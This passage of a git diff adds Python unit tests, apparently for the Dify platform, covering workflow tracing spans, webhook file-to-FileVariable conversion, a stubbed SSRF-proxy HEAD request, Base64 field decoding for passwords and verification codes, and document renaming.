+        assert attrs["tool.provider.type"] == mock_tool_node._node_data.provider_type.value
+        assert attrs["tool.name"] == mock_tool_node._node_data.tool_name
+
+
+class TestObservabilityLayerGraphLifecycle:
+    """Test graph lifecycle management."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_on_graph_start_clears_contexts(self, tracer_provider_with_memory_exporter, mock_llm_node):
+        """Test that on_graph_start clears node contexts."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_llm_node)
+        assert len(layer._node_contexts) == 1
+
+        layer.on_graph_start()
+        assert len(layer._node_contexts) == 0
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_on_graph_end_with_no_unfinished_spans(
+        self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node
+    ):
+        """Test that on_graph_end handles normal completion."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_llm_node)
+        layer.on_node_run_end(mock_llm_node, None)
+        layer.on_graph_end(None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 1
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_on_graph_end_with_unfinished_spans_logs_warning(
+        self, tracer_provider_with_memory_exporter, mock_llm_node, caplog
+    ):
+        """Test that on_graph_end logs warning for unfinished spans."""
+        layer = ObservabilityLayer()
+        layer.on_graph_start()
+
+        layer.on_node_run_start(mock_llm_node)
+        assert len(layer._node_contexts) == 1
+
+        layer.on_graph_end(None)
+
+        assert len(layer._node_contexts) == 0
+        assert "node spans were not properly ended" in caplog.text
+
+
+class TestObservabilityLayerDisabledMode:
+    """Test behavior when layer is disabled."""
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", False)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_disabled_mode_skips_node_start(self, memory_span_exporter, mock_start_node):
+        """Test that disabled layer doesn't create spans on node start."""
+        layer = ObservabilityLayer()
+        assert layer._is_disabled
+
+        layer.on_graph_start()
+        layer.on_node_run_start(mock_start_node)
+        layer.on_node_run_end(mock_start_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 0
+
+    @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", False)
+    @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false")
+    def test_disabled_mode_skips_node_end(self, memory_span_exporter, mock_llm_node):
+        """Test that disabled layer doesn't process node end."""
+        layer = ObservabilityLayer()
+        assert layer._is_disabled
+
+        layer.on_node_run_end(mock_llm_node, None)
+
+        spans = memory_span_exporter.get_finished_spans()
+        assert len(spans) == 0
diff --git a/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py
new file mode 100644
index 0000000000..ead2334473
--- /dev/null
+++ b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_file_conversion.py
@@ -0,0 +1,452 @@
+"""
+Unit tests for webhook file conversion fix.
+
+This test verifies that webhook trigger nodes properly convert file dictionaries
+to FileVariable objects, fixing the "Invalid variable type: ObjectVariable" error
+when passing files to downstream LLM nodes.
+"""
+
+from unittest.mock import Mock, patch
+
+from core.app.entities.app_invoke_entities import InvokeFrom
+from core.workflow.entities.graph_init_params import GraphInitParams
+from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus
+from core.workflow.nodes.trigger_webhook.entities import (
+    ContentType,
+    Method,
+    WebhookBodyParameter,
+    WebhookData,
+)
+from core.workflow.nodes.trigger_webhook.node import TriggerWebhookNode
+from core.workflow.runtime.graph_runtime_state import GraphRuntimeState
+from core.workflow.runtime.variable_pool import VariablePool
+from core.workflow.system_variable import SystemVariable
+from models.enums import UserFrom
+from models.workflow import WorkflowType
+
+
+def create_webhook_node(
+    webhook_data: WebhookData,
+    variable_pool: VariablePool,
+    tenant_id: str = "test-tenant",
+) -> TriggerWebhookNode:
+    """Helper function to create a webhook node with proper initialization."""
+    node_config = {
+        "id": "webhook-node-1",
+        "data": webhook_data.model_dump(),
+    }
+
+    graph_init_params = GraphInitParams(
+        tenant_id=tenant_id,
+        app_id="test-app",
+        workflow_type=WorkflowType.WORKFLOW,
+        workflow_id="test-workflow",
+        graph_config={},
+        user_id="test-user",
+        user_from=UserFrom.ACCOUNT,
+        invoke_from=InvokeFrom.SERVICE_API,
+        call_depth=0,
+    )
+
+    runtime_state = GraphRuntimeState(
+        variable_pool=variable_pool,
+        start_at=0,
+    )
+
+    node = TriggerWebhookNode(
+        id="webhook-node-1",
+        config=node_config,
+        graph_init_params=graph_init_params,
+        graph_runtime_state=runtime_state,
+    )
+
+    # Attach a lightweight app_config onto runtime state for tenant lookups
+    runtime_state.app_config = Mock()
+    runtime_state.app_config.tenant_id = tenant_id
+
+    # Provide compatibility alias expected by node implementation
+    # Some nodes reference `self.node_id`; expose it as an alias to `self.id` for tests
+    node.node_id = node.id
+
+    return node
+
+
+def create_test_file_dict(
+    filename: str = "test.jpg",
+    file_type: str = "image",
+    transfer_method: str = "local_file",
+) -> dict:
+    """Create a test file dictionary as it would come from webhook service."""
+    return {
+        "id": "file-123",
+        "tenant_id": "test-tenant",
+        "type": file_type,
+        "filename": filename,
+        "extension": ".jpg",
+        "mime_type": "image/jpeg",
+        "transfer_method": transfer_method,
+        "related_id": "related-123",
+        "storage_key": "storage-key-123",
+        "size": 1024,
+        "url": "https://example.com/test.jpg",
+        "created_at": 1234567890,
+        "used_at": None,
+        "hash": "file-hash-123",
+    }
+
+
+def test_webhook_node_file_conversion_to_file_variable():
+    """Test that webhook node converts file dictionaries to FileVariable objects."""
+    # Create test file dictionary (as it comes from webhook service)
+    file_dict = create_test_file_dict("uploaded_image.jpg")
+
+    data = WebhookData(
+        title="Test Webhook with File",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="image_upload", type="file", required=True),
+            WebhookBodyParameter(name="message", type="string", required=False),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {"message": "Test message"},
+                "files": {
+                    "image_upload": file_dict,
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    # Mock the file factory and variable factory
+    with (
+        patch("factories.file_factory.build_from_mapping") as mock_file_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable,
+    ):
+        # Setup mocks
+        mock_file_obj = Mock()
+        mock_file_obj.to_dict.return_value = file_dict
+        mock_file_factory.return_value = mock_file_obj
+
+        mock_segment = Mock()
+        mock_segment.value = mock_file_obj
+        mock_segment_factory.return_value = mock_segment
+
+        mock_file_var_instance = Mock()
+        mock_file_variable.return_value = mock_file_var_instance
+
+        # Run the node
+        result = node._run()
+
+        # Verify successful execution
+        assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+        # Verify file factory was called with correct parameters
+        mock_file_factory.assert_called_once_with(
+            mapping=file_dict,
+            tenant_id="test-tenant",
+        )
+
+        # Verify segment factory was called to create FileSegment
+        mock_segment_factory.assert_called_once()
+
+        # Verify FileVariable was created with correct parameters
+        mock_file_variable.assert_called_once()
+        call_args = mock_file_variable.call_args[1]
+        assert call_args["name"] == "image_upload"
+        # value should be whatever build_segment_with_type.value returned
+        assert call_args["value"] == mock_segment.value
+        assert call_args["selector"] == ["webhook-node-1", "image_upload"]
+
+        # Verify output contains the FileVariable, not the original dict
+        assert result.outputs["image_upload"] == mock_file_var_instance
+        assert result.outputs["message"] == "Test message"
+
+
+def test_webhook_node_file_conversion_with_missing_files():
+    """Test webhook node file conversion with missing file parameter."""
+    data = WebhookData(
+        title="Test Webhook with Missing File",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="missing_file", type="file", required=False),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {},  # No files
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    # Run the node without patches (should handle None case gracefully)
+    result = node._run()
+
+    # Verify successful execution
+    assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+    # Verify missing file parameter is None
+    assert result.outputs["_webhook_raw"]["files"] == {}
+
+
+def test_webhook_node_file_conversion_with_none_file():
+    """Test webhook node file conversion with None file value."""
+    data = WebhookData(
+        title="Test Webhook with None File",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="none_file", type="file", required=False),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {
+                    "file": None,
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    # Run the node without patches (should handle None case gracefully)
+    result = node._run()
+
+    # Verify successful execution
+    assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+    # Verify None file parameter is None
+    assert result.outputs["_webhook_raw"]["files"]["file"] is None
+
+
+def test_webhook_node_file_conversion_with_non_dict_file():
+    """Test webhook node file conversion with non-dict file value."""
+    data = WebhookData(
+        title="Test Webhook with Non-Dict File",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="wrong_type", type="file", required=True),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {
+                    "file": "not_a_dict",  # Wrapped to match node expectation
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    # Run the node without patches (should handle non-dict case gracefully)
+    result = node._run()
+
+    # Verify successful execution
+    assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+    # Verify fallback to original (wrapped) mapping
+    assert result.outputs["_webhook_raw"]["files"]["file"] == "not_a_dict"
+
+
+def test_webhook_node_file_conversion_mixed_parameters():
+    """Test webhook node with mixed parameter types including files."""
+    file_dict = create_test_file_dict("mixed_test.jpg")
+
+    data = WebhookData(
+        title="Test Webhook Mixed Parameters",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        headers=[],
+        params=[],
+        body=[
+            WebhookBodyParameter(name="text_param", type="string", required=True),
+            WebhookBodyParameter(name="number_param", type="number", required=False),
+            WebhookBodyParameter(name="file_param", type="file", required=True),
+            WebhookBodyParameter(name="bool_param", type="boolean", required=False),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {
+                    "text_param": "Hello World",
+                    "number_param": 42,
+                    "bool_param": True,
+                },
+                "files": {
+                    "file_param": file_dict,
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    with (
+        patch("factories.file_factory.build_from_mapping") as mock_file_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable,
+    ):
+        # Setup mocks for file
+        mock_file_obj = Mock()
+        mock_file_factory.return_value = mock_file_obj
+
+        mock_segment = Mock()
+        mock_segment.value = mock_file_obj
+        mock_segment_factory.return_value = mock_segment
+
+        mock_file_var = Mock()
+        mock_file_variable.return_value = mock_file_var
+
+        # Run the node
+        result = node._run()
+
+        # Verify successful execution
+        assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+        # Verify all parameters are present
+        assert result.outputs["text_param"] == "Hello World"
+        assert result.outputs["number_param"] == 42
+        assert result.outputs["bool_param"] is True
+        assert result.outputs["file_param"] == mock_file_var
+
+        # Verify file conversion was called
+        mock_file_factory.assert_called_once_with(
+            mapping=file_dict,
+            tenant_id="test-tenant",
+        )
+
+
+def test_webhook_node_different_file_types():
+    """Test webhook node file conversion with different file types."""
+    image_dict = create_test_file_dict("image.jpg", "image")
+
+    data = WebhookData(
+        title="Test Webhook Different File Types",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="image", type="file", required=True),
+            WebhookBodyParameter(name="document", type="file", required=True),
+            WebhookBodyParameter(name="video", type="file", required=True),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {
+                    "image": image_dict,
+                    "document": create_test_file_dict("document.pdf", "document"),
+                    "video": create_test_file_dict("video.mp4", "video"),
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+
+    with (
+        patch("factories.file_factory.build_from_mapping") as mock_file_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory,
+        patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable,
+    ):
+        # Setup mocks for all files
+        mock_file_objs = [Mock() for _ in range(3)]
+        mock_segments = [Mock() for _ in range(3)]
+        mock_file_vars = [Mock() for _ in range(3)]
+
+        # Map each segment.value to its corresponding mock file obj
+        for seg, f in zip(mock_segments, mock_file_objs):
+            seg.value = f
+
+        mock_file_factory.side_effect = mock_file_objs
+        mock_segment_factory.side_effect = mock_segments
+        mock_file_variable.side_effect = mock_file_vars
+
+        # Run the node
+        result = node._run()
+
+        # Verify successful execution
+        assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+
+        # Verify all file types were converted
+        assert mock_file_factory.call_count == 3
+        assert result.outputs["image"] == mock_file_vars[0]
+        assert result.outputs["document"] == mock_file_vars[1]
+        assert result.outputs["video"] == mock_file_vars[2]
+
+
+def test_webhook_node_file_conversion_with_non_dict_wrapper():
+    """Test webhook node file conversion when the file wrapper is not a dict."""
+    data = WebhookData(
+        title="Test Webhook with Non-dict File Wrapper",
+        method=Method.POST,
+        content_type=ContentType.FORM_DATA,
+        body=[
+            WebhookBodyParameter(name="non_dict_wrapper", type="file", required=True),
+        ],
+    )
+
+    variable_pool = VariablePool(
+        system_variables=SystemVariable.empty(),
+        user_inputs={
+            "webhook_data": {
+                "headers": {},
+                "query_params": {},
+                "body": {},
+                "files": {
+                    "file": "just a string",
+                },
+            }
+        },
+    )
+
+    node = create_webhook_node(data, variable_pool)
+    result = node._run()
+
+    # Verify successful execution (should not crash)
+    assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
+    # Verify fallback to original value
+    assert result.outputs["_webhook_raw"]["files"]["file"] == "just a string"
diff --git a/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py
index a599d4f831..bbb5511923 100644
--- a/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py
+++ b/api/tests/unit_tests/core/workflow/nodes/webhook/test_webhook_node.py
@@ -1,8 +1,10 @@
+from unittest.mock import patch
+
 import pytest
 
 from core.app.entities.app_invoke_entities import InvokeFrom
 from core.file import File, FileTransferMethod, FileType
-from core.variables import StringVariable
+from core.variables import FileVariable, StringVariable
 from core.workflow.entities.graph_init_params import GraphInitParams
 from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus
 from core.workflow.nodes.trigger_webhook.entities import (
@@ -27,26 +29,34 @@ def create_webhook_node(webhook_data: WebhookData, variable_pool: VariablePool)
         "data": webhook_data.model_dump(),
     }
 
+    graph_init_params = GraphInitParams(
+        tenant_id="1",
+        app_id="1",
+        workflow_type=WorkflowType.WORKFLOW,
+        workflow_id="1",
+        graph_config={},
+        user_id="1",
+        user_from=UserFrom.ACCOUNT,
+        invoke_from=InvokeFrom.SERVICE_API,
+        call_depth=0,
+    )
+    runtime_state = GraphRuntimeState(
+        variable_pool=variable_pool,
+        start_at=0,
+    )
     node = TriggerWebhookNode(
         id="1",
         config=node_config,
-        graph_init_params=GraphInitParams(
-            tenant_id="1",
-            app_id="1",
-            workflow_type=WorkflowType.WORKFLOW,
-            workflow_id="1",
-            graph_config={},
-            user_id="1",
-            user_from=UserFrom.ACCOUNT,
-            invoke_from=InvokeFrom.SERVICE_API,
-            call_depth=0,
-        ),
-        graph_runtime_state=GraphRuntimeState(
-            variable_pool=variable_pool,
-            start_at=0,
-        ),
+        graph_init_params=graph_init_params,
+        graph_runtime_state=runtime_state,
     )
 
+    # Provide tenant_id for conversion path
+    runtime_state.app_config = type("_AppCfg", (), {"tenant_id": "1"})()
+
+    # Compatibility alias for some nodes referencing `self.node_id`
+    node.node_id = node.id
+
     return node
 
 
@@ -246,20 +256,27 @@ def test_webhook_node_run_with_file_params():
                 "query_params": {},
                 "body": {},
                 "files": {
-                    "upload": file1,
-                    "document": file2,
+                    "upload": file1.to_dict(),
+                    "document": file2.to_dict(),
                 },
             }
         },
     )
 
     node = create_webhook_node(data, variable_pool)
-    result = node._run()
+    # Mock the file factory to avoid DB-dependent validation on upload_file_id
+    with patch("factories.file_factory.build_from_mapping") as mock_file_factory:
+
+        def _to_file(mapping, tenant_id, config=None, strict_type_validation=False):
+            return File.model_validate(mapping)
+
+        mock_file_factory.side_effect = _to_file
+        result = node._run()
 
     assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
-    assert result.outputs["upload"] == file1
-    assert result.outputs["document"] == file2
-    assert result.outputs["missing_file"] is None
+    assert isinstance(result.outputs["upload"], FileVariable)
+    assert isinstance(result.outputs["document"], FileVariable)
+    assert result.outputs["upload"].value.filename == "image.jpg"
 
 
 def test_webhook_node_run_mixed_parameters():
@@ -291,19 +308,27 @@ def test_webhook_node_run_mixed_parameters():
                 "headers": {"Authorization": "Bearer token"},
                 "query_params": {"version": "v1"},
                 "body": {"message": "Test message"},
-                "files": {"upload": file_obj},
+                "files": {"upload": file_obj.to_dict()},
             }
         },
     )
 
     node = create_webhook_node(data, variable_pool)
-    result = node._run()
+    # Mock the file factory to avoid DB-dependent validation on upload_file_id
+    with patch("factories.file_factory.build_from_mapping") as mock_file_factory:
+
+        def _to_file(mapping, tenant_id, config=None, strict_type_validation=False):
+            return File.model_validate(mapping)
+
+        mock_file_factory.side_effect = _to_file
+        result = node._run()
 
     assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
     assert result.outputs["Authorization"] == "Bearer token"
     assert result.outputs["version"] == "v1"
     assert result.outputs["message"] == "Test message"
-    assert result.outputs["upload"] == file_obj
+    assert isinstance(result.outputs["upload"], FileVariable)
+    assert result.outputs["upload"].value.filename == "test.jpg"
     assert "_webhook_raw" in result.outputs
 
 
diff --git a/api/tests/unit_tests/core/workflow/test_workflow_entry.py b/api/tests/unit_tests/core/workflow/test_workflow_entry.py
index 75de5c455f..68d6c109e8 100644
--- a/api/tests/unit_tests/core/workflow/test_workflow_entry.py
+++ b/api/tests/unit_tests/core/workflow/test_workflow_entry.py
@@ -1,3 +1,5 @@
+from types import SimpleNamespace
+
 import pytest
 
 from core.file.enums import FileType
@@ -12,6 +14,36 @@ from core.workflow.system_variable import SystemVariable
 from core.workflow.workflow_entry import WorkflowEntry
 
 
+@pytest.fixture(autouse=True)
+def _mock_ssrf_head(monkeypatch):
+    """Avoid any real network requests during tests.
+
+    file_factory._get_remote_file_info() uses ssrf_proxy.head to inspect
+    remote files. We stub it to return a minimal response object with
+    headers so filename/mime/size can be derived deterministically.
+    """
+
+    def fake_head(url, *args, **kwargs):
+        # choose a content-type by file suffix for determinism
+        if url.endswith(".pdf"):
+            ctype = "application/pdf"
+        elif url.endswith(".jpg") or url.endswith(".jpeg"):
+            ctype = "image/jpeg"
+        elif url.endswith(".png"):
+            ctype = "image/png"
+        else:
+            ctype = "application/octet-stream"
+        filename = url.split("/")[-1] or "file.bin"
+        headers = {
+            "Content-Type": ctype,
+            "Content-Disposition": f'attachment; filename="{filename}"',
+            "Content-Length": "12345",
+        }
+        return SimpleNamespace(status_code=200, headers=headers)
+
+    monkeypatch.setattr("core.helper.ssrf_proxy.head", fake_head)
+
+
 class TestWorkflowEntry:
     """Test WorkflowEntry class methods."""
 
diff --git a/api/tests/unit_tests/libs/test_encryption.py b/api/tests/unit_tests/libs/test_encryption.py
new file mode 100644
index 0000000000..bf013c4bae
--- /dev/null
+++ b/api/tests/unit_tests/libs/test_encryption.py
@@ -0,0 +1,150 @@
+"""
+Unit tests for field encoding/decoding utilities.
+
+These tests verify Base64 encoding/decoding functionality and
+proper error handling and fallback behavior.
+"""
+
+import base64
+
+from libs.encryption import FieldEncryption
+
+
+class TestDecodeField:
+    """Test cases for field decoding functionality."""
+
+    def test_decode_valid_base64(self):
+        """Test decoding a valid Base64 encoded string."""
+        plaintext = "password123"
+        encoded = base64.b64encode(plaintext.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_field(encoded)
+        assert result == plaintext
+
+    def test_decode_non_base64_returns_none(self):
+        """Test that non-base64 input returns None."""
+        non_base64 = "plain-password-!@#"
+        result = FieldEncryption.decrypt_field(non_base64)
+        # Should return None (decoding failed)
+        assert result is None
+
+    def test_decode_unicode_text(self):
+        """Test decoding Base64 encoded Unicode text."""
+        plaintext = "密码Test123"
+        encoded = base64.b64encode(plaintext.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_field(encoded)
+        assert result == plaintext
+
+    def test_decode_empty_string(self):
+        """Test decoding an empty string returns empty string."""
+        result = FieldEncryption.decrypt_field("")
+        # Empty string base64 decodes to empty string
+        assert result == ""
+
+    def test_decode_special_characters(self):
+        """Test decoding with special characters."""
+        plaintext = "P@ssw0rd!#$%^&*()"
+        encoded = base64.b64encode(plaintext.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_field(encoded)
+        assert result == plaintext
+
+
+class TestDecodePassword:
+    """Test cases for password decoding."""
+
+    def test_decode_password_base64(self):
+        """Test decoding a Base64 encoded password."""
+        password = "SecureP@ssw0rd!"
+        encoded = base64.b64encode(password.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_password(encoded)
+        assert result == password
+
+    def test_decode_password_invalid_returns_none(self):
+        """Test that invalid base64 passwords return None."""
+        invalid = "PlainPassword!@#"
+        result = FieldEncryption.decrypt_password(invalid)
+        # Should return None (decoding failed)
+        assert result is None
+
+
+class TestDecodeVerificationCode:
+    """Test cases for verification code decoding."""
+
+    def test_decode_code_base64(self):
+        """Test decoding a Base64 encoded verification code."""
+        code = "789012"
+        encoded = base64.b64encode(code.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_verification_code(encoded)
+        assert result == code
+
+    def test_decode_code_invalid_returns_none(self):
+        """Test that invalid base64 codes return None."""
+        invalid = "123456"  # Plain 6-digit code, not base64
+        result = FieldEncryption.decrypt_verification_code(invalid)
+        # Should return None (decoding failed)
+        assert result is None
+
+
+class TestRoundTripEncodingDecoding:
+    """
+    Integration tests for complete encoding-decoding cycle.
+    These tests simulate the full frontend-to-backend flow using Base64.
+    """
+
+    def test_roundtrip_password(self):
+        """Test encoding and decoding a password."""
+        original_password = "SecureP@ssw0rd!"
+
+        # Simulate frontend encoding (Base64)
+        encoded = base64.b64encode(original_password.encode("utf-8")).decode()
+
+        # Backend decoding
+        decoded = FieldEncryption.decrypt_password(encoded)
+
+        assert decoded == original_password
+
+    def test_roundtrip_verification_code(self):
+        """Test encoding and decoding a verification code."""
+        original_code = "123456"
+
+        # Simulate frontend encoding
+        encoded = base64.b64encode(original_code.encode("utf-8")).decode()
+
+        # Backend decoding
+        decoded = FieldEncryption.decrypt_verification_code(encoded)
+
+        assert decoded == original_code
+
+    def test_roundtrip_unicode_password(self):
+        """Test encoding and decoding password with Unicode characters."""
+        original_password = "密码Test123!@#"
+
+        # Frontend encoding
+        encoded = base64.b64encode(original_password.encode("utf-8")).decode()
+
+        # Backend decoding
+        decoded = FieldEncryption.decrypt_password(encoded)
+
+        assert decoded == original_password
+
+    def test_roundtrip_long_password(self):
+        """Test encoding and decoding a long password."""
+        original_password = "ThisIsAVeryLongPasswordWithLotsOfCharacters123!@#$%^&*()"
+
+        encoded = base64.b64encode(original_password.encode("utf-8")).decode()
+        decoded = FieldEncryption.decrypt_password(encoded)
+
+        assert decoded == original_password
+
+    def test_roundtrip_with_whitespace(self):
+        """Test encoding and decoding with whitespace."""
+        original_password = "pass word with spaces"
+
+        encoded = base64.b64encode(original_password.encode("utf-8")).decode()
+        decoded = FieldEncryption.decrypt_field(encoded)
+
+        assert decoded == original_password
diff --git a/api/tests/unit_tests/services/test_document_service_rename_document.py b/api/tests/unit_tests/services/test_document_service_rename_document.py
new file mode 100644
index 0000000000..94850ecb09
--- /dev/null
+++ b/api/tests/unit_tests/services/test_document_service_rename_document.py
@@ -0,0 +1,176 @@
+from types import SimpleNamespace
+from unittest.mock import Mock, create_autospec, patch
+
+import pytest
+
+from models import Account
+from services.dataset_service import DocumentService
+
+
+@pytest.fixture
+def mock_env():
+    """Patch dependencies used by DocumentService.rename_document.
+
+    Mocks:
+      - DatasetService.get_dataset
+      - DocumentService.get_document
+      - current_user (with current_tenant_id)
+      - db.session
+    """
+    with (
+        patch("services.dataset_service.DatasetService.get_dataset") as get_dataset,
+        patch("services.dataset_service.DocumentService.get_document") as get_document,
+        patch("services.dataset_service.current_user", create_autospec(Account, instance=True)) as current_user,
+        patch("extensions.ext_database.db.session") as db_session,
+    ):
+        current_user.current_tenant_id = "tenant-123"
+        yield {
+            "get_dataset": get_dataset,
+            "get_document": get_document,
+            "current_user": current_user,
+            "db_session": db_session,
+        }
+
+
+def make_dataset(dataset_id="dataset-123", tenant_id="tenant-123", built_in_field_enabled=False):
+    return SimpleNamespace(id=dataset_id, tenant_id=tenant_id, built_in_field_enabled=built_in_field_enabled)
+
+
+def make_document(
+    document_id="document-123",
+    dataset_id="dataset-123",
+    tenant_id="tenant-123",
+    name="Old Name",
+    data_source_info=None,
+    doc_metadata=None,
+):
+    doc = Mock()
+    doc.id = document_id
+    doc.dataset_id = dataset_id
+    doc.tenant_id = tenant_id
+    doc.name = name
+    doc.data_source_info = data_source_info or {}
+    # property-like usage in code relies on a dict
+    doc.data_source_info_dict = dict(doc.data_source_info)
+    doc.doc_metadata = dict(doc_metadata or {})
+    return doc
+
+
+def test_rename_document_success(mock_env):
+    dataset_id = "dataset-123"
+    document_id = "document-123"
+    new_name = "New Document Name"
+
+    dataset = make_dataset(dataset_id)
+    document = make_document(document_id=document_id, dataset_id=dataset_id)
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    result = DocumentService.rename_document(dataset_id, document_id, new_name)
+
+    assert result is document
+    assert document.name == new_name
+    mock_env["db_session"].add.assert_called_once_with(document)
+    mock_env["db_session"].commit.assert_called_once()
+
+
+def test_rename_document_with_built_in_fields(mock_env):
+    dataset_id = "dataset-123"
+    document_id = "document-123"
+    new_name = "Renamed"
+
+    dataset = make_dataset(dataset_id, built_in_field_enabled=True)
+    document = make_document(document_id=document_id, dataset_id=dataset_id, doc_metadata={"foo": "bar"})
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    DocumentService.rename_document(dataset_id, document_id, new_name)
+
+    assert document.name == new_name
+    # BuiltInField.document_name == "document_name" in service code
+    assert document.doc_metadata["document_name"] == new_name
+    assert document.doc_metadata["foo"] == "bar"
+
+
+def test_rename_document_updates_upload_file_when_present(mock_env):
+    dataset_id = "dataset-123"
+    document_id = "document-123"
+    new_name = "Renamed"
+    file_id = "file-123"
+
+    dataset = make_dataset(dataset_id)
+    document = make_document(
+        document_id=document_id,
+        dataset_id=dataset_id,
+        data_source_info={"upload_file_id": file_id},
+    )
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    # Intercept UploadFile rename UPDATE chain
+    mock_query = Mock()
+    mock_query.where.return_value = mock_query
+    mock_env["db_session"].query.return_value = mock_query
+
+    DocumentService.rename_document(dataset_id, document_id, new_name)
+
+    assert document.name == new_name
+    mock_env["db_session"].query.assert_called()  # update executed
+
+
+def test_rename_document_does_not_update_upload_file_when_missing_id(mock_env):
+    """
+    When data_source_info_dict exists but does not contain "upload_file_id",
+    UploadFile should not be updated.
+    """
+    dataset_id = "dataset-123"
+    document_id = "document-123"
+    new_name = "Another Name"
+
+    dataset = make_dataset(dataset_id)
+    # Ensure data_source_info_dict is truthy but lacks the key
+    document = make_document(
+        document_id=document_id,
+        dataset_id=dataset_id,
+        data_source_info={"url": "https://example.com"},
+    )
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    DocumentService.rename_document(dataset_id, document_id, new_name)
+
+    assert document.name == new_name
+    # Should NOT attempt to update UploadFile
+    mock_env["db_session"].query.assert_not_called()
+
+
+def test_rename_document_dataset_not_found(mock_env):
+    mock_env["get_dataset"].return_value = None
+
+    with pytest.raises(ValueError, match="Dataset not found"):
+        DocumentService.rename_document("missing", "doc", "x")
+
+
+def test_rename_document_not_found(mock_env):
+    dataset = make_dataset("dataset-123")
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = None
+
